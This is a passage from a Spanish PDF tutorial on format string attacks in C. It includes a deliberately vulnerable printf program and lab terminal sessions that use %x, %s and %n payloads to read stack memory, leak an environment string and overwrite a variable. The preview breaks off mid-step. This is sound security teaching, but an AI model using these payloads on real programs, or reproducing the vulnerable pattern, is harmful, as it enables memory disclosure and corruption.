PDF de programación - Format String Attack

Imágen de pdf Format String Attack

Format String Attackgráfica de visualizaciones

Publicado el 18 de Mayo del 2021
278 visualizaciones desde el 18 de Mayo del 2021
163,8 KB
19 paginas
Creado hace 12a (09/07/2011)
Format Strings Attack

Introducción

Sebastián Guerrero Selma 2011 ([email protected] - @0xroot)

http://blog.seguesec.com - http://painsec.com

Revisor Manual Palomo Duarte

Realizado por: Sebastián Guerrero Selma

Advertencia

Para realizar las pruebas y obtener los resultados esperados se ha utilizado úna versión desactualizada del compi-
lador gcc, concretamente la 3.4, debido a que la última versión no aceptaba los flag para evitar las protecciones de
pila.
Para nuestra investigación nos hemos basado en Ubuntu.

Cuando vayas a compilar alguno de los códigos vulnerables asegúrate antes de hacerlo poniendo el flag -fno-
stack-check.

2

Índice

1. Introducción

2. Format String Vulnerability

2.1. La familia de funciones format . . . .
2.2. La pila y su funcionamiento .
. . . .

. . . .
. . . .

. . .
. . .

. . . .
. . . .

. . . .
. . . .

. . . .
. . . .

. . . .
. . . .

. . .
. . .

. . . .
. . . .

. .
. .

3. Leyendo direcciones de memoria

4. Escribiendo direcciones de memoria

5. Direct Parameter Access (DPA)

6. Sobreescribiendo las zonas .DTORS

7. Conclusiones

4

4
5
6

7

9

13

17

19

3

1.

Introducción

Los Format String son simples cadenas, caracterizadas por el formato que se les aplica. Si has programado ante-
riormente en cualquier lenguaje estarás familiarizado con la función printf() del lenguaje C.

Dicha función toma como primer parámetro la cadena a mostrar, y una serie de variables que permiten formatear
la salida por la salida estándar (stdout).

Los formatos más comunes que se pueden utilizar son:

%d Formato de enteros.

%i Formato de enteros (igual que %d).

% f Formato de punto flotante.

%u Formato sin signo.

%x Formato hexadecimal.

%p Muestra el correspondiente valor del puntero.

%c Formato de carácter.

2. Format String Vulnerability

La vulnerabilidad viene por el mal uso que se la da a la función printf, cuando un programador la llama como
printf(cadena) en lugar de printf("%s", cadena). Aunque el resultado devuelto es el mismo y funciona correcta-
mente. La omisión del parámetro de formateado deriva en un bug que podría ser aprovechado por un atacante para
provocar la ejecución de código malicioso.

Supongamos el siguiente código

#include < stdlib .h >
#include < stdio .h >
#include < string .h >

int main (int argc , char * argv []) {

char
int

buffer [64];
number = 50;

if( argc != 2)

return -1;

strcpy ( buffer , argv [1]);

printf (" Correcto :\ n" );
printf (" %s\n", buffer );

printf (" Incorrecto :\ n" );
printf ( buffer );
printf ("\n" );

printf (" ( -) Valor @ 0x %08x = %d 0x %08x\n" , & number , number , number );

return 0;

}

4

sebas@Penetraitor :~/ Lab / string - attack$ ./ fst_example prueba .

Correcto : prueba .
Incorrecto : prueba .
( -) Valor @ 0 x0804a024 = 50 0 x00000032

El programa funciona perfectamente, y el programador en ningún momento advierte ningún fallo, pero si hace-
mos la misma prueba pasándole un format string como parámetro concatenado a la cadena obtenemos lo siguiente:

sebas@Penetraitor :~/ Lab / string - attack$ ./ fst_example BBBB %x

Correcto : BBBB %x
Incorrecto : BBBBbfa675ee
( -) Valor @ 0 x0804a024 = 50 0 x00000032

2.1. La familia de funciones format

Hay una serie de funciones de formato definidas en el ANSI C, algunas utilizadas para cubrir necesidades básicas
y otras más complejas basadas en estas primeras, que si bien no entran dentro del estándar, si están disponibles
para su uso en la mayoria de compiladores.

Funciones básicas:

printf - Imprime el flujo ’stdout’.

fprintf - Imprime el flujo de un fichero.

sprintf - Imprime en una cadena.

snprintf - Imprime en una cadena comprobando la longitud.

vprintf - Imprime en ’stdout’ desde una estructura va_arg.

vfprintf - Imprime en un fichero desde una estructura va_arg.

vsprintf - Imprime en una cadena desde una estructura va_arg.

vsnprintf - Imprime en una cadena comprobando la longitud desde una estructura va_arg.

Otras:

syslog, verr*, err*, vwarn*, warn*, setproctile

5

2.2. La pila y su funcionamiento

El comportamiento de la función de formato es controlado por el format string. Que recupera los parámetros
solicitados desde la pila. Así:

printf (" Numero %d sin direccion , numero %d con direccion : %08 x\n" , i , a, &a );

El aspecto de la pila para la instrucción anterior es el siguiente:

Donde:

A → Dirección de la cadena.

i → Valor de la variable i.

a → Valor de la variable a.

&a → Dirección de la variable a.

La función de formato parseará la cadena A, leyendo carácter a carácter y copiándolo en la salida mientras que
este no sea ’ %’. En el momento de encontrarlo el carácter a continuación de ’ %’, especificará el tipo de parámetro
a evaluar.

La cadena ’ %%’ se comporta de forma especial, y permite imprimir a la salida el carácter ’ %’. Los otros pará-
metros se relacionan con el resto de datos alojados en la pila.

6

3. Leyendo direcciones de memoria

Cuando usamos el formato %x estamos obligando a que nos muestre por stdout la representación de una palabra
de 4-byte en la pila.

Si queremos conocer la dirección que apunta al string que hemos introducido, deberemos introducir varios forma-
tos de cadena hasta obtener el valor hexadecimal de esta.

sebas@Penetraitor :~/ Lab / string - attack$ ./ fst_example BBBB %x %x %x %x %x

Correcto :
BBBB %x %x %x %x %x
Incorrecto :
BBBBbffb85e60000
( -) Valor @ 0 x0804a024 = 50 0 x00000032

Probando un poco más

sebas@Penetraitor :~/ Lab / string - attack$ ./ fst_example BBBB %x %x %x %x %x
%x %x %x %x %x %x %x

Correcto :
BBBB %x %x %x %x %x %x %x %x %x %x %x %x
Incorrecto :
BBBBbfd6f5d80000b78cc0000bfd6f44400042424242
( -) Valor @ 0 x0804a024 = 50 0 x00000032

Los cuatro bytes de 0x42 indican que el duodécimo parámetro de formato está leyendo del principio de la cadena
de formato para obtener sus datos

Pero si usamos una dirección de memoria válida, este proceso permite leer un string que se encuentre en esa di-
rección.

Como ejemplo vamos a utilizar la función getenv() de C, que nos devuelve un string con el contenido de la variable
de entorno que le hemos pasado como parámetro. Nosotros vamos a servirnos de esto para conocer la dirección
de memoria donde se encuentra, y así demostrar cómo leer los datos que se encuentran en una posición válida.

El código que he usado para utilizar la función getenv() es el siguiente:

#include < stdlib .h >
#include < stdio .h >

int main (int argc , char * argv [])
{

char* addr ;
if( argc < 2){

printf (" Uso :\ n %s < variable de entorno >\ n", argv [0]);
exit (0);

}
addr = getenv ( argv [1]);

if( addr == NULL )

printf (" La variable de entorno %s no existe .\ n", argv [1]);

printf (" %s esta localizada en %p\n", argv [1] , addr );

else

return 0;
}

7

sebas@Penetraitor :~/ Lab / string - attack$ gcc getenvaddr .c
-o getenvaddr

Vamos a localizar la dirección de la variable LOGNAME que contiene el usuario con el que nos logueamos en la
máquina.

sebas@Penetraitor :~/ Lab / string - attack$ echo $LOGNAME
sebas
sebas@Penetraitor :~/ Lab / string - attack$ ./ getenvaddr LOGNAME
LOGNAME esta localizada en 0 xbfa07e44

Ahora sabemos que la cadena sebas está almacenada en la dirección 0xbfa07e44. Usemos el format string %x y
%s con localización exacta para obtener el valor.

sebas@Penetraitor :~/ Lab / string - attack$ ./ fst_example
‘ printf "\ x44 \ x7e \ xa0 \ xbf " ‘ %x %x %x %x %x %x %x %x %x %x %x" ->" %s

Correcto :
D~ %x %x %x %x %x %x %x %x %x %x %x -> %s
Incorrecto :
D~ bf92d5d60000b780d0000bf92c874000 -> sebas
( -) Valor @ 0 x0804a024 = 50 0 x00000032

sebas@Penetraitor :~/ Lab / string - attack$ ./ fst_example
‘ printf "\ x44 \ x7e \ xa0 \ xbf "‘ %x %x %x %x %x %x %x %x %x %x %x" ->" %x

Correcto :
D~ %x %x %x %x %x %x %x %x %x %x %x -> %x
Incorrecto :
D~ bf9615d60000b77530000bf95fd74000 -> bfa07e44
( -) Valor @ 0 x0804a024 = 50 0 x00000032

8

4. Escribiendo direcciones de memoria

Al igual que hemos estado usando %x y %s para acceder a los contenidos de las direcciones de memoria, con %n
podemos escribir directamente en ellas.

root@Penetraitor :~/ Lab / string - attack$ ./ fst_example BBBB . %x. %x. %x. %x
. %x. %x. %x. %x. %x. %x. %x. %x

Correcto :
BBBB . %x. %x. %x. %x. %x. %x. %x. %x. %x. %x. %x. %x

Incorrecto :
BBBB . bffff6e0 . b7fe3000 .0.0.0.0.0.0.0.0.0.42424242
( -) Valor @ 0 x08049648 = 50 0 x00000032

La variable Valor está en la dirección de memoria 0x08049648, usando %n seremos capaces de sobreescribir su
contenido:

root@Penetraitor :~/ Lab / string - attack$ ./ fst_example ‘ printf
"\ x48 \ x96 \ x04 \ x08 " ‘. %x. %x. %x. %x. %x. %x. %x. %x. %x. %x. %x. %n

Correcto :
H -. % x. %x. %x. %x. %x. %x. %x. %x. %x. %x. %x. %n

Incorrecto :
H -. bffff6e0 . b7fe3000 .0.0.0.0.0.0.0.0.0.
( -) Valor @ 0 x08049648 = 41 0 x00000029

El valor de la variable dependerá del número de formatos que insertemos antes de %n:

root@Penetraitor :~/ Lab / string - attack$ ./ fst_example ‘ printf
"\ x48 \ x96 \ x04 \ x08 " ‘. %x. %x. %x. %x. %x. %x. %x. %x. %x. %x . %20 x. %n

Correcto :
H -. % x. %x. %x. %x. %x. %x. %x. %x. %x. %x . %20 x. %n

Incorrecto :
H -. bffff6e0 . b7fe3000 .0.0.0.0.0.0.0.0. 0.
( -) Valor @ 0 x08049648 = 60 0 x0000003c

Gracias a esto podemos jugar un poco y decrementar o incrementar el valor, según nos interese. Nuestro siguiente
objetivo será escribir en la dirección de memoria donde se encuentra nuestra variable:

Escribiremos 0xde000000 en la dirección 0x08049648

Escribiremos 0x00ad0000 en la dirección 0x08049649

Escribiremos 0x0000be00 en la dirección 0x0804964a

Escribiremos 0x000000ef en la dirección 0x0804964b

Pero como bien sabemos, una pila se caracteríza por una estructura LIFO (Last Input First Output) por tanto, la re-
presentación interna en memoria deberá ser al revés. El primer valor de la variable deberá ser 0xef, seguido de 0xbe,
0xad, 0xde y las respectivas direcciones a ocupar serán 0x08049648, 0x08049649, 0x0804964a, 0x0804964b.
Para alcanzar nuestro objetivo debemos seguir los siguientes pasos:

Prim
  • Links de descarga
http://lwp-l.com/pdf19204

Comentarios de: Format String Attack (0)


No hay comentarios
 

Comentar...

Nombre
Correo (no se visualiza en la web)
Valoración
Comentarios...
CerrarCerrar
CerrarCerrar
Cerrar

Tienes que ser un usuario registrado para poder insertar imágenes, archivos y/o videos.

Puedes registrarte o validarte desde aquí.

Codigo
Negrita
Subrayado
Tachado
Cursiva
Insertar enlace
Imagen externa
Emoticon
Tabular
Centrar
Titulo
Linea
Disminuir
Aumentar
Vista preliminar
sonreir
dientes
lengua
guiño
enfadado
confundido
llorar
avergonzado
sorprendido
triste
sol
estrella
jarra
camara
taza de cafe
email
beso
bombilla
amor
mal
bien
Es necesario revisar y aceptar las políticas de privacidad